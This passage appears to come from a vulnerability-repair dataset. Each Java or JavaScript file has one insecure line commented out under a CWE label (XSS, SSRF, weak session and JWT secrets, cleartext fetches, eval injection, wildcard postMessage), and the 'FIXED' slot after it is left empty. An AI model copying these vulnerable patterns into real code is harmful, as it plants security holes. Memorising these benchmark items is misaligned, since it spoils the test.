{\n\t\t\tSystem.err.println(e.getMessage());\n\t\t\te.printStackTrace();\n\t\t}\n\n\t\treturn \"\";\n\t}\n}\n"} {"language": "java", "text": "package com.huawei.esdk.fusioncompute.demo.utils;\n\nimport java.io.IOException;\nimport java.io.PrintWriter;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.HttpSession;\n\nimport org.apache.log4j.Logger;\n\nimport com.google.gson.Gson;\nimport com.huawei.esdk.fusioncompute.local.model.FCSDKResponse;\nimport com.huawei.esdk.fusioncompute.local.model.PageList;\nimport com.huawei.esdk.fusioncompute.local.model.net.PortGroup;\n\npublic class GetPortGroupsServlet extends HttpServlet\n{\n\n /**\n * \u5e8f\u5217\u5316\u7248\u672c\u6807\u8bc6\n */\n private static final long serialVersionUID = 406215323069888871L;\n \n /**\n * log\u65e5\u5fd7\u5bf9\u8c61\n */\n private static final Logger LOGGER = Logger\n .getLogger(GetPortGroupsServlet.class);\n \n \n /**\n * gson\uff0c\u7528\u4e8e\u8f6c\u6362String\u548cjson\u4e4b\u95f4\u7684\u8f6c\u6362\n */\n private Gson gson = new Gson();\n\n @Override\n protected void doPost(\n HttpServletRequest request, HttpServletResponse response)\n throws ServletException, IOException\n {\n doGet(request, response);\n }\n\n @Override\n protected void doGet(\n HttpServletRequest request, HttpServletResponse response)\n throws ServletException, IOException\n {\n // \u83b7\u53d6\u9700\u8981\u8c03\u7528\u7684\u65b9\u6cd5\u540d\n String methodName = request.getParameter(\"method\");\n String resp = \"\";\n\n if (\"getPortGroups\".equals(methodName))\n {\n // \u8bfb\u53d6Demo\u6240\u7528\u53c2\u6570\n resp = getPortGroups(request);\n }\n\n // \u8f93\u51fa\u6d41\n PrintWriter pw = response.getWriter();\n // \u5c06\u7ed3\u679c\u653e\u5230\u6d4f\u89c8\u5668\u4e2d\n \n// BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n// pw.print(resp);\n// FIXED: \n\n \n\n // \u5173\u95ed\u8f93\u51fa\u6d41\n pw.close();\n }\n\n /**\n * \u8bfb\u53d6Demo\u6240\u7528\u53c2\u6570\n * \n * @param request\n * HttpServletRequest\u5bf9\u8c61\n * @return json\u683c\u5f0f\u7684\u5b57\u7b26\u4e32\n * @see\n * @since eSDK Cloud V100R003C20\n */\n @SuppressWarnings(\"unchecked\")\n public String getPortGroups(HttpServletRequest request)\n {\n // \u5b9a\u4e49\u8fd4\u56de\u7ed3\u679c\n String response = null;\n\n LOGGER.info(\"Begin to read parameters.\");\n\n // \u83b7\u53d6Session\u5bf9\u8c61\n HttpSession session = request.getSession();\n // \u83b7\u53d6key\u4e3aPORTGROUPSRESOURCE_RES\u7684\u503c\n FCSDKResponse> resp = (FCSDKResponse>)session.getAttribute(\"PORTGROUPSRESOURCE_RES\");\n \n // \u6839\u636e\u63a5\u53e3\u8fd4\u56de\u6570\u636e\u751f\u6210JSON\u5b57\u7b26\u4e32\uff0c\u4ee5\u4fbf\u4e8e\u9875\u9762\u5c55\u793a\n response = gson.toJson(resp);\n LOGGER.info(\"Finish to read parameters, response is : \" + response);\n\n return response;\n }\n}\n"} {"language": "javascript", "text": "const CDP = require('chrome-remote-interface');\nconst axeCore = require('axe-core');\nconst assert = require('assert');\nconst { parse: parseURL } = require('url');\n\n// Cheap URL validation\nconst isValidURL = input => {\n\tconst u = parseURL(input);\n\treturn u.protocol && u.host;\n};\n\nconst example = async url => {\n\t// eslint-disable-next-line new-cap\n\tconst client = await CDP();\n\tconst { Runtime: runtime, Page: page } = client;\n\n\tlet results;\n\n\ttry {\n\t\tawait page.enable();\n\t\tawait runtime.enable();\n\n\t\t\n// BUG: CWE-918: Server-Side Request Forgery (SSRF)\n// await page.navigate({ url });\n// FIXED: \n\n \n\n\n\t\t// This function is injected into the browser and is responsible for\n\t\t// running `axe-core`.\n\t\tconst browserCode = () => {\n\t\t\t/* eslint-env browser */\n\t\t\treturn new Promise((resolve, reject) => {\n\t\t\t\tconst axe = window.axe;\n\t\t\t\tif (!axe) {\n\t\t\t\t\tthrow new Error('Unable to find axe-core');\n\t\t\t\t}\n\n\t\t\t\t// Finally, run axe-core\n\t\t\t\taxe\n\t\t\t\t\t.run()\n\t\t\t\t\t// For some reason, when resolving with an object, CDP ignores\n\t\t\t\t\t// its value (`results.result.value` is undefined). By\n\t\t\t\t\t// `JSON.stringify()`ing it, we can `JSON.parse()` it later on\n\t\t\t\t\t// and return a valid results set.\n\t\t\t\t\t.then(results => JSON.stringify(results))\n\t\t\t\t\t.then(resolve)\n\t\t\t\t\t.catch(reject);\n\t\t\t});\n\t\t};\n\n\t\t// Inject axe-core\n\t\tawait runtime.evaluate({\n\t\t\texpression: axeCore.source\n\t\t});\n\n\t\t// Run axe-core\n\t\tconst ret = await runtime.evaluate({\n\t\t\texpression: `(${browserCode})()`,\n\t\t\tawaitPromise: true\n\t\t});\n\n\t\t// re-parse\n\t\tresults = JSON.parse(ret.result.value);\n\t} catch (err) {\n\t\t// Ensure we close the client before exiting the fn\n\t\tclient.close();\n\t\tthrow err;\n\t}\n\tclient.close();\n\treturn results;\n};\n\n// node axe-cdp.js \nconst url = process.argv[2];\nassert(isValidURL(url), 'Invalid URL');\n\nexample(url)\n\t.then(results => {\n\t\tconsole.log(results);\n\t})\n\t.catch(err => {\n\t\tconsole.error('Error running axe-core:', err.message);\n\t\tprocess.exit(1);\n\t});\n"} {"language": "javascript", "text": "const express = require('express');\nconst rateLimit = require('express-rate-limit');\nconst helmet = require('helmet');\nconst bodyParser = require(\"body-parser\");\nconst xss = require('xss-clean');\nconst hpp = require('hpp');\nconst cors = require('cors');\nconst multer = require('multer');\nconst upload = multer();\nconst session = require('express-session');\n\nconst { secret } = require('./config/common/config');\n\n// Importing The Database\nconst postgresql = require('./config/database/postgresqlConfig');\n\n\n// Importing the Routes \nconst covidRoutes = require('./routes/covid/covidRoutes')\n\n\n// Calling the Error Handlers\nconst globalErrHandler = require('./controllers/error/errorController');\nconst AppError = require('./utils/error/appError');\nconst app = express();\n\n// Allow Cross-Origin requests\napp.use(cors());\n\n// Set security HTTP headers\napp.use(helmet());\n\n\n\n// Limit request from the same API \nconst limiter = rateLimit({\n max: 150,\n windowMs: 60 * 60 * 1000,\n message: 'Too Many Request from this IP, please try again in an hour'\n});\napp.use('/api/v1', limiter);\n\n\n// Body parser, reading data from body into req.body\napp.use(express.json({\n limit: '100kb'\n}));\n\n\n// Configure the Session expiry\napp.use(\n \n// BUG: CWE-522: Insufficiently Protected Credentials\n// session({ secret: secret, resave: true, saveUninitialized: false })\n// FIXED: \n\n \n\n);\n\n// Data sanitization against XSS(clean user input from malicious HTML code)\napp.use(xss());\n\n// Prevent parameter pollution\napp.use(hpp());\n\n// Setting Body parser\napp.use(bodyParser.json());\napp.use(bodyParser.urlencoded({ extended: true }));\napp.use(bodyParser.json({ type: 'application/*+json' }));\napp.use(express.json());\napp.use(upload.array()); \napp.use(express.static('public'));\n\n// Setting up global error handler\napp.use(globalErrHandler);\n\n\n// Checking and Testing of Home\napp.get('/', (req, res) => {\n // console.log(req.session)\n res.send(`You hit home page!\\n`)\n})\n\n// Routes Final Calling\napp.use('/api/v1',covidRoutes);\n\n// handle undefined Routes\napp.use('*', (req, res, next) => {\n const err = new AppError(404, 'fail', 'undefined route');\n next(err, req, res, next);\n});\n\n\nmodule.exports = app;"} {"language": "javascript", "text": "const jwt = require('express-jwt')\nconst secret = require('./front/config').secret\n\nfunction getTokenFromHeader(authorization) {\n if (\n (authorization && authorization.split(' ')[0] === 'Token') ||\n (authorization && authorization.split(' ')[0] === 'Bearer')\n ) {\n return authorization.split(' ')[1]\n }\n return null\n}\n\nfunction getTokenFromRequest(req) {\n return getTokenFromHeader(req.headers.authorization)\n}\n\nconst auth = {\n required: jwt({\n secret,\n userProperty: 'payload',\n getToken: getTokenFromRequest\n }),\n \n// BUG: CWE-522: Insufficiently Protected Credentials\n// optional: jwt({ secret, userProperty: 'payload', credentialsRequired: false, getToken: getTokenFromRequest })\n// FIXED: \n\n \n\n}\n\nmodule.exports = auth\n"} {"language": "javascript", "text": "import Head from 'next/head'\nimport React from 'react'\nimport { useRouter } from 'next/router'\n\nimport { AppContext, ArticleIcon, NewArticleIcon, TopicIcon, slugFromArray} from 'front'\nimport ArticleList from 'front/ArticleList'\nimport CustomLink from 'front/CustomLink'\nimport LoadingSpinner from 'front/LoadingSpinner'\nimport LogoutButton from 'front/LogoutButton'\nimport Maybe from 'front/Maybe'\nimport routes from 'front/routes'\nimport { ArticleType } from 'front/types/ArticleType'\nimport { IssueType } from 'front/types/IssueType'\nimport { TopicType } from 'front/types/TopicType'\nimport { UserType } from 'front/types/UserType'\n\nexport interface TopicPageProps {\n articles: (ArticleType & IssueType & TopicType)[];\n articlesCount: number;\n loggedInUser?: UserType;\n order: string;\n topic: TopicType;\n page: number;\n what: string;\n}\n\nexport const TopicPage = ({\n articles,\n articlesCount,\n loggedInUser,\n order,\n page,\n topic,\n what\n}: TopicPageProps) => {\n const router = useRouter();\n const topicId = slugFromArray(router.query.id)\n const paginationUrlFunc = (page) => routes.topic(topicId, { page, sort: order })\n const { setTitle } = React.useContext(AppContext)\n if (topic) {\n React.useEffect(() => { setTitle(topic.titleSource) }, [topic.titleSource])\n }\n if (router.isFallback) { return ; }\n return (\n

\n {topic ?\n <>\n \n// BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n//

\n// FIXED: \n\n \n\n
\n \n Top Articles\n \n \n Latest Articles\n \n \n New Article in Topic\n \n
\n \n \n :\n <>\n

Topic does not exist: {topicId}

\n {false &&\n
TODO: add a link for user to create an article with that topic.
\n }\n \n }\n
\n )\n}\n\nexport default TopicPage\n"} {"language": "javascript", "text": "const express = require('express');\nconst rateLimit = require('express-rate-limit');\nconst helmet = require('helmet');\nconst bodyParser = require(\"body-parser\");\nconst xss = require('xss-clean');\nconst hpp = require('hpp');\nconst cors = require('cors');\nconst multer = require('multer');\nconst upload = multer();\nconst session = require('express-session');\n\nconst { secret } = require('./config/common/config');\n\n// Importing The Database\nconst postgresql = require('./config/database/postgresqlConfig');\n\n\n// Importing the Routes \nconst covidRoutes = require('./routes/covid/covidRoutes')\n\n\n// Calling the Error Handlers\nconst globalErrHandler = require('./controllers/error/errorController');\nconst AppError = require('./utils/error/appError');\nconst app = express();\n\n// Allow Cross-Origin requests\napp.use(cors());\n\n// Set security HTTP headers\napp.use(helmet());\n\n\n\n// Limit request from the same API \nconst limiter = rateLimit({\n max: 150,\n windowMs: 60 * 60 * 1000,\n message: 'Too Many Request from this IP, please try again in an hour'\n});\napp.use('/api/v1', limiter);\n\n\n// Body parser, reading data from body into req.body\napp.use(express.json({\n limit: '100kb'\n}));\n\n\n// Configure the Session expiry\napp.use(\n \n// BUG: CWE-522: Insufficiently Protected Credentials\n// session({ secret: secret, resave: true, saveUninitialized: false })\n// FIXED: \n\n \n\n);\n\n// Data sanitization against XSS(clean user input from malicious HTML code)\napp.use(xss());\n\n// Prevent parameter pollution\napp.use(hpp());\n\n// Setting Body parser\napp.use(bodyParser.json());\napp.use(bodyParser.urlencoded({ extended: true }));\napp.use(bodyParser.json({ type: 'application/*+json' }));\napp.use(express.json());\napp.use(upload.array()); \napp.use(express.static('public'));\n\n// Setting up global error handler\napp.use(globalErrHandler);\n\n\n// Checking and Testing of Home\napp.get('/', (req, res) => {\n // console.log(req.session)\n res.send(`You hit home page!\\n`)\n})\n\n// Routes Final Calling\napp.use('/api/v1',covidRoutes);\n\n// handle undefined Routes\napp.use('*', (req, res, next) => {\n const err = new AppError(404, 'fail', 'undefined route');\n next(err, req, res, next);\n});\n\n\nmodule.exports = app;"} {"language": "javascript", "text": "const jwt = require('express-jwt')\nconst secret = require('./front/config').secret\n\nfunction getTokenFromHeader(authorization) {\n if (\n (authorization && authorization.split(' ')[0] === 'Token') ||\n (authorization && authorization.split(' ')[0] === 'Bearer')\n ) {\n return authorization.split(' ')[1]\n }\n return null\n}\n\nfunction getTokenFromRequest(req) {\n return getTokenFromHeader(req.headers.authorization)\n}\n\nconst auth = {\n \n// BUG: CWE-522: Insufficiently Protected Credentials\n// required: jwt({ secret, userProperty: 'payload', getToken: getTokenFromRequest }),\n// FIXED: \n\n \n\n optional: jwt({\n secret,\n userProperty: 'payload',\n credentialsRequired: false,\n getToken: getTokenFromRequest\n })\n}\n\nmodule.exports = auth\n"} {"language": "javascript", "text": "import React from 'react'\nimport { useRouter } from 'next/router'\n\nimport Maybe from 'front/Maybe'\nimport { webApi } from 'front/api'\nimport config from 'front/config'\nimport CustomLink from 'front/CustomLink'\nimport { cant } from 'front/cant'\nimport { formatDate } from 'front/date'\nimport UserLinkWithImage from 'front/UserLinkWithImage'\n\nconst Comment = ({ comment, comments, id, loggedInUser, setComments }) => {\n const router = useRouter();\n const {\n query: { number: issueNumber, slug },\n } = router;\n const handleDelete = async (commentId) => {\n await webApi.commentDelete((slug as string[]).join('/'), issueNumber, comment.number)\n setComments(comments => comments.filter(comment => comment.id !== id))\n };\n const targetId = `comment${config.idSep}${comment.number}`\n return (\n
\n
\n #{comment.number}\n {' by '}\n \n {' on '}\n {formatDate(comment.createdAt)}\n {' '}\n \n handleDelete(comment.id)}\n >\n Delete Comment\n \n \n
\n \n \n\n />\n
\n );\n};\n\nexport default Comment;\n"} {"language": "javascript", "text": "const baseURL = 'http://localhost:9000/api/words/'\n\nexport const getWords = () => {\n \n// BUG: CWE-319: Cleartext Transmission of Sensitive Information\n// return fetch(baseURL)\n// FIXED: \n\n \n\n .then(res => res.json())\n }\n \n\n"} {"language": "javascript", "text": "const express = require('express');\nconst rateLimit = require('express-rate-limit');\nconst helmet = require('helmet');\nconst bodyParser = require(\"body-parser\");\nconst xss = require('xss-clean');\nconst hpp = require('hpp');\nconst cors = require('cors');\nconst multer = require('multer');\nconst upload = multer();\nconst session = require('express-session');\n\nconst { secret } = require('./config/common/config');\n\n// Importing The Database\nconst postgresql = require('./config/database/postgresqlConfig');\n\n\n// Importing the Routes \nconst covidRoutes = require('./routes/covid/covidRoutes')\n\n\n// Calling the Error Handlers\nconst globalErrHandler = require('./controllers/error/errorController');\nconst AppError = require('./utils/error/appError');\nconst app = express();\n\n// Allow Cross-Origin requests\napp.use(cors());\n\n// Set security HTTP headers\napp.use(helmet());\n\n\n\n// Limit request from the same API \nconst limiter = rateLimit({\n max: 150,\n windowMs: 60 * 60 * 1000,\n message: 'Too Many Request from this IP, please try again in an hour'\n});\napp.use('/api/v1', limiter);\n\n\n// Body parser, reading data from body into req.body\napp.use(express.json({\n limit: '100kb'\n}));\n\n\n// Configure the Session expiry\napp.use(\n \n// BUG: CWE-522: Insufficiently Protected Credentials\n// session({ secret: secret, resave: true, saveUninitialized: false })\n// FIXED: \n\n \n\n);\n\n// Data sanitization against XSS(clean user input from malicious HTML code)\napp.use(xss());\n\n// Prevent parameter pollution\napp.use(hpp());\n\n// Setting Body parser\napp.use(bodyParser.json());\napp.use(bodyParser.urlencoded({ extended: true }));\napp.use(bodyParser.json({ type: 'application/*+json' }));\napp.use(express.json());\napp.use(upload.array()); \napp.use(express.static('public'));\n\n// Setting up global error handler\napp.use(globalErrHandler);\n\n\n// Checking and Testing of Home\napp.get('/', (req, res) => {\n // console.log(req.session)\n res.send(`You hit home page!\\n`)\n})\n\n// Routes Final Calling\napp.use('/api/v1',covidRoutes);\n\n// handle undefined Routes\napp.use('*', (req, res, next) => {\n const err = new AppError(404, 'fail', 'undefined route');\n next(err, req, res, next);\n});\n\n\nmodule.exports = app;"} {"language": "javascript", "text": "const runCode = require('../lib/runCode')\nconst bodyParser = require('body-parser')\nconst express = require('express')\nconst router = express.Router()\n\nrouter.use(bodyParser.json()) // for parsing routerlication/json\nrouter.use(bodyParser.urlencoded({ extended: true }))\n\n// GET handler for /\nrouter.get('/', (req, res) => {\n res.send('API requires POST to /code/')\n})\n\n// POST handler for /py\nrouter.post('/py', async (req, res) => {\n const { filePath } = req.body\n const result = await runCode('py', filePath) // executes runCode() on specified .py and input files\n \n// BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n// res.send(result)\n// FIXED: \n\n \n\n})\n\n// POST handler for /cpp\nrouter.post('/cpp', async (req, res) => {\n const { filePath } = req.body\n const result = await runCode('cpp', filePath) // executes runCode() on specified .cpp and input files\n res.send(result)\n})\n\n// POST handler for /js\nrouter.post('/js', async (req, res) => {\n const { filePath } = req.body\n const result = await runCode('js', filePath) // executes runCode() on specified .js and input files\n res.send(result)\n})\n\nmodule.exports = router\n"} {"language": "javascript", "text": "const _setUpNavAttrs = (el, tag) => {\n\tlet hrf = (tag == 'SELECT') ? el.options[el.selectedIndex].getAttribute('data-page') : el.getAttribute('href');\n\tif (hrf) {\n\t\tlet pageItem = _getPageFromList(hrf);\n\t\tif (pageItem) {\n\t\t\tlet tmpDiv = document.createElement('div');\n\t\t\t\n// BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n// tmpDiv.insertAdjacentHTML('beforeend', '');\n// FIXED: \n\n \n\n\t\t\t_cloneAttrs(el, tmpDiv.firstChild);\n\t\t}\n\t}\n};\n"} {"language": "javascript", "text": "// Kludge in HTML5 tag recognition in IE8\ndocument.createElement(\"section\");\ndocument.createElement(\"article\");\n\n(function() {\n if (!window.addEventListener) return;\n var pending = false, prevVal = null;\n\n function updateSoon() {\n if (!pending) {\n pending = true;\n setTimeout(update, 250);\n }\n }\n\n function update() {\n pending = false;\n var marks = document.getElementById(\"nav\").getElementsByTagName(\"a\"), found;\n for (var i = 0; i < marks.length; ++i) {\n var mark = marks[i], m;\n if (mark.getAttribute(\"data-default\")) {\n if (found == null) found = i;\n } else if (m = mark.href.match(/#(.*)/)) {\n var ref = document.getElementById(m[1]);\n if (ref && ref.getBoundingClientRect().top < 50)\n found = i;\n }\n }\n if (found != null && found != prevVal) {\n prevVal = found;\n var lis = document.getElementById(\"nav\").getElementsByTagName(\"li\");\n for (var i = 0; i < lis.length; ++i) lis[i].className = \"\";\n for (var i = 0; i < marks.length; ++i) {\n if (found == i) {\n marks[i].className = \"active\";\n for (var n = marks[i]; n; n = n.parentNode)\n if (n.nodeName == \"LI\") n.className = \"active\";\n } else {\n marks[i].className = \"\";\n }\n }\n }\n }\n\n window.addEventListener(\"scroll\", updateSoon);\n window.addEventListener(\"load\", updateSoon);\n window.addEventListener(\"hashchange\", function() {\n \n// BUG: CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')\n// setTimeout(function() { var hash = document.location.hash, found = null, m; var marks = document.getElementById(\"nav\").getElementsByTagName(\"a\"); for (var i = 0; i < marks.length; i++) if ((m = marks[i].href.match(/(#.*)/)) && m[1] == hash) { found = i; break; } if (found != null) for (var i = 0; i < marks.length; i++) marks[i].className = i == found ? \"active\" : \"\"; }, 300);\n// FIXED: \n\n \n\n });\n})();\n"} {"language": "javascript", "text": "// META: global=window,worker\n\nfor (const method of [\"compileStreaming\", \"instantiateStreaming\"]) {\n promise_test(t => {\n const url = \"http://{{domains[www]}}:{{ports[http][0]}}/wasm/incrementer.wasm\";\n \n// BUG: CWE-319: Cleartext Transmission of Sensitive Information\n// const response = fetch(url, { \"mode\": \"no-cors\" });\n// FIXED: \n\n \n\n return promise_rejects_js(t, TypeError, WebAssembly[method](response));\n }, `Opaque response: ${method}`);\n\n promise_test(t => {\n const url = \"/fetch/api/resources/redirect.py?redirect_status=301&location=/wasm/incrementer.wasm\";\n const response = fetch(url, { \"mode\": \"no-cors\", \"redirect\": \"manual\" });\n return promise_rejects_js(t, TypeError, WebAssembly[method](response));\n }, `Opaque redirect response: ${method}`);\n}\n"} {"language": "javascript", "text": "var express = require('express');\nvar fs = require('fs');\nvar io = require('socket.io');\nvar _ = require('underscore');\nvar Mustache = require('mustache');\n\nvar app = express.createServer();\nvar staticDir = express.static;\n\nio = io.listen(app);\n\nvar opts = {\n\tport : 1947,\n\tbaseDir : __dirname + '/../../'\n};\n\nio.sockets.on('connection', function(socket) {\n\tsocket.on('slidechanged', function(slideData) {\n\t\tsocket.broadcast.emit('slidedata', slideData);\n\t});\n\tsocket.on('fragmentchanged', function(fragmentData) {\n\t\tsocket.broadcast.emit('fragmentdata', fragmentData);\n\t});\n});\n\napp.configure(function() {\n\t[ 'css', 'js', 'images', 'plugin', 'lib' ].forEach(function(dir) {\n\t\tapp.use('/' + dir, staticDir(opts.baseDir + dir));\n\t});\n});\n\napp.get(\"/\", function(req, res) {\n\tres.writeHead(200, {'Content-Type': 'text/html'});\n\tfs.createReadStream(opts.baseDir + '/index.html').pipe(res);\n});\n\napp.get(\"/notes/:socketId\", function(req, res) {\n\n\tfs.readFile(opts.baseDir + 'plugin/notes-server/notes.html', function(err, data) {\n\t\t\n// BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n// res.send(Mustache.to_html(data.toString(), {\t\t\tsocketId : req.params.socketId\t\t}));\n// FIXED: \n\n \n\n\t});\n\t// fs.createReadStream(opts.baseDir + 'notes-server/notes.html').pipe(res);\n});\n\n// Actually listen\napp.listen(opts.port || null);\n\nvar brown = '\\033[33m',\n\tgreen = '\\033[32m',\n\treset = '\\033[0m';\n\nvar slidesLocation = \"http://localhost\" + ( opts.port ? ( ':' + opts.port ) : '' );\n\nconsole.log( brown + \"reveal.js - Speaker Notes\" + reset );\nconsole.log( \"1. Open the slides at \" + green + slidesLocation + reset );\nconsole.log( \"2. Click on the link your JS console to go to the notes page\" );\nconsole.log( \"3. Advance through your slides and your notes will advance automatically\" );\n"} {"language": "javascript", "text": "/*\nUSERNAME HASH PROBLEM\n\nThis is an app using expressJS framework to serve \"The Username Hash Service\". The app provides 2 APIs:\n\nGET /?name=\n Returns the and the hashed value from \n\nGET /history\n Returns request history. Each is in one line.\n\nThe Hash Task is consider CPU consuming. You should wait for a long time to get result (may upto 24 seconds).\n\nNow, let's get started:\n- Run the app. Open the web browser and visit http://localhost:8081/?name=JohnnyTeo\n- While waiting for result, try visiting http://localhost:8081/history\n Notice that /history is blocked until completion of hash result calculation.\n\nThe reason is Javascript by default runs in a single thread.\nThis thread is busy calculating hash result from request /?name=JohnnyTeo\nso it cannot serve the next request /history\n\nYour task is making /history \"non-blocking\" i.e. app can serve /history while doing hashing job.\n\nP/S: The problem idea is inspired by a great article at:\nhttps://www.digitalocean.com/community/tutorials/how-to-use-multithreading-in-node-js\n*/\n\nimport * as mylib from './mylib.js';\nimport express from 'express';\nimport { getHash, splitStrInToChunks } from './exerex-userhash-util.js';\n\n\nconst PORT = 8081;\nconst app = express();\n\n\nconst getSuperHash = plainText => {\n const numChunks = 8;\n const lstChunks = splitStrInToChunks(numChunks, plainText);\n const lstHashes = lstChunks.map(chunk => getHash(2**21, chunk));\n const finalHash = getHash(1, lstHashes.join(''));\n return finalHash;\n};\n\n\nconst userNameHistory = [];\n\n\napp.get('/history', async (req, res) => {\n const html = userNameHistory.join('
') || '<Empty history>';\n res.status(200).send(html).end();\n});\n\n\napp.get('/', (req, res) => {\n const userName = req.query.name;\n if (!userName) {\n res.status(400).end();\n return;\n }\n userNameHistory.push(userName);\n\n const tpStart = process.hrtime();\n\n // GET USERNAME HASH\n const userNameHash = getSuperHash(userName);\n\n const timeElapsed = mylib.hrtimeToNumber(process.hrtime(tpStart));\n console.log(`userName = ${userName}; Time elapsed = ${timeElapsed}`);\n\n const html = userName + '
' + userNameHash;\n \n// BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n// res.status(200).setHeader('Content-Type', 'text/html').send(html).end();\n// FIXED: \n\n \n\n});\n\n\nconsole.log('Server is listening on port', PORT);\nconst server = app.listen(PORT);\n"} {"language": "javascript", "text": "const bodyParser = require('body-parser');\nconst path = require('path');\nconst session = require('express-session');\nconst morgan = require('morgan');\n\nconst config = require('../../webpack.config.js');\nconst webpack = require('webpack');\nconst webpackDevMiddleware = require('webpack-dev-middleware');\nconst webpackHotMiddleware = require('webpack-hot-middleware');\nconst compiler = webpack(config);\n\nmodule.exports = (app, express) => {\n app.use(webpackDevMiddleware(compiler, { noInfo: true, publicPath: config.output.publicPath }));\n app.use(webpackHotMiddleware(compiler));\n app.use(morgan('dev'));\n app.use(bodyParser.urlencoded({ extended: true }));\n app.use(bodyParser.json());\n \n// BUG: CWE-522: Insufficiently Protected Credentials\n// app.use(session({ secret: 'fred', resave: false, saveUninitialized: false }));\n// FIXED: \n\n \n\n app.use(express.static(path.join(`${__dirname}./../../dist`)));\n};\n"} {"language": "javascript", "text": "function getAllEmployees() {\n console.log(\"Fetch all employees\");\n //returns a pending promise\n \n// BUG: CWE-319: Cleartext Transmission of Sensitive Information\n// fetch(\"http://localhost:3000/employees\")\n// FIXED: \n\n \n\n .then((response) => {\n if (response.status === 200) {\n return response.json();\n }\n })\n .then((employees) => {\n //fill the table with the data\n let tbody = document\n .getElementById(\"employeeList\")\n .getElementsByTagName(\"tbody\")[0];\n let tbodyhtml = \"\";\n employees.forEach((employee) => {\n tbodyhtml += `${employee.id}\n ${employee.empName}\n ${employee.email}\n \n `;\n });\n tbody.innerHTML = tbodyhtml;\n })\n .catch((error) => {\n console.log(error);\n });\n}\n\ngetAllEmployees();\n\nfunction addEmployee() {\n let name = document.getElementById(\"name\").value;\n let email = document.getElementById(\"email\").value;\n let newEmp = {\n empName: name,\n email: email,\n };\n //post\n\n fetch(\"http://localhost:3000/employees\", {\n method: \"POST\",\n headers: {\n \"Content-type\": \"application/json\",\n },\n body: JSON.stringify(newEmp),\n })\n .then((response) => {\n //201 for post\n if (response.status === 201) {\n console.log(\"data added\");\n getAllEmployees();\n }\n })\n .catch((error) => {\n console.log(error);\n });\n}\nfunction getEmployeeById(id) {\n fetch(`http://localhost:3000/employees/${id}`)\n .then((response) => {\n if (response.status === 200) {\n return response.json();\n }\n })\n .then((employee) => {\n document.getElementById(\"empId\").value = employee.id;\n document.getElementById(\"empName\").value = employee.empName;\n document.getElementById(\"empEmail\").value = employee.email;\n })\n .catch((error) => {\n console.log(error);\n });\n}\n\nfunction editEmployee() {\n let empId = document.getElementById(\"empId\").value;\n let empName = document.getElementById(\"empName\").value;\n let email = document.getElementById(\"empEmail\").value;\n\n fetch(`http://localhost:3000/employees/${empId}`, {\n method: \"PUT\",\n body: JSON.stringify({\n empName: empName,\n email: email,\n }),\n headers: {\n \"Content-type\": \"application/json\",\n },\n })\n .then((response) => {\n if (response === 200) {\n getAllEmployees();\n }\n })\n .then((employee) => {\n document.getElementById(\"empId\").value = employee.id;\n document.getElementById(\"empName\").value = employee.empName;\n document.getElementById(\"empEmail\").value = employee.email;\n })\n .catch((error) => {\n console.log(error);\n });\n}\n//Delete functionality to be implemented\n"} {"language": "javascript", "text": "var ctx = require('./_ctx');\nvar invoke = require('./_invoke');\nvar html = require('./_html');\nvar cel = require('./_dom-create');\nvar global = require('./_global');\nvar process = global.process;\nvar setTask = global.setImmediate;\nvar clearTask = global.clearImmediate;\nvar MessageChannel = global.MessageChannel;\nvar Dispatch = global.Dispatch;\nvar counter = 0;\nvar queue = {};\nvar ONREADYSTATECHANGE = 'onreadystatechange';\nvar defer, channel, port;\nvar run = function () {\n var id = +this;\n // eslint-disable-next-line no-prototype-builtins\n if (queue.hasOwnProperty(id)) {\n var fn = queue[id];\n delete queue[id];\n fn();\n }\n};\nvar listener = function (event) {\n run.call(event.data);\n};\n// Node.js 0.9+ & IE10+ has setImmediate, otherwise:\nif (!setTask || !clearTask) {\n setTask = function setImmediate(fn) {\n var args = [];\n var i = 1;\n while (arguments.length > i) args.push(arguments[i++]);\n queue[++counter] = function () {\n // eslint-disable-next-line no-new-func\n invoke(typeof fn == 'function' ? fn : Function(fn), args);\n };\n defer(counter);\n return counter;\n };\n clearTask = function clearImmediate(id) {\n delete queue[id];\n };\n // Node.js 0.8-\n if (require('./_cof')(process) == 'process') {\n defer = function (id) {\n process.nextTick(ctx(run, id, 1));\n };\n // Sphere (JS game engine) Dispatch API\n } else if (Dispatch && Dispatch.now) {\n defer = function (id) {\n Dispatch.now(ctx(run, id, 1));\n };\n // Browsers with MessageChannel, includes WebWorkers\n } else if (MessageChannel) {\n channel = new MessageChannel();\n port = channel.port2;\n channel.port1.onmessage = listener;\n defer = ctx(port.postMessage, port, 1);\n // Browsers with postMessage, skip WebWorkers\n // IE8 has postMessage, but it's sync & typeof its postMessage is 'object'\n } else if (global.addEventListener && typeof postMessage == 'function' && !global.importScripts) {\n defer = function (id) {\n \n// BUG: CWE-345: Insufficient Verification of Data Authenticity\n// global.postMessage(id + '', '*');\n// FIXED: \n\n \n\n };\n global.addEventListener('message', listener, false);\n // IE8-\n } else if (ONREADYSTATECHANGE in cel('script')) {\n defer = function (id) {\n html.appendChild(cel('script'))[ONREADYSTATECHANGE] = function () {\n html.removeChild(this);\n run.call(id);\n };\n };\n // Rest old browsers\n } else {\n defer = function (id) {\n setTimeout(ctx(run, id, 1), 0);\n };\n }\n}\nmodule.exports = {\n set: setTask,\n clear: clearTask\n};\n"} {"language": "javascript", "text": "window.SearcherDisplay = (function($) {\n /**\n * This class provides support for displaying quick search text results to users.\n */\n function SearcherDisplay() { }\n\n SearcherDisplay.prototype.init = function() {\n this._displayQuickSearch();\n };\n\n /**\n * This method creates the quick text search entry in navigation menu and wires all required events.\n */\n SearcherDisplay.prototype._displayQuickSearch = function() {\n var quickSearch = $(document.createElement(\"iframe\")),\n body = $(\"body\"),\n self = this;\n\n quickSearch.attr(\"src\", \"quicksearch.html\");\n quickSearch.css(\"width\", \"0px\");\n quickSearch.css(\"height\", 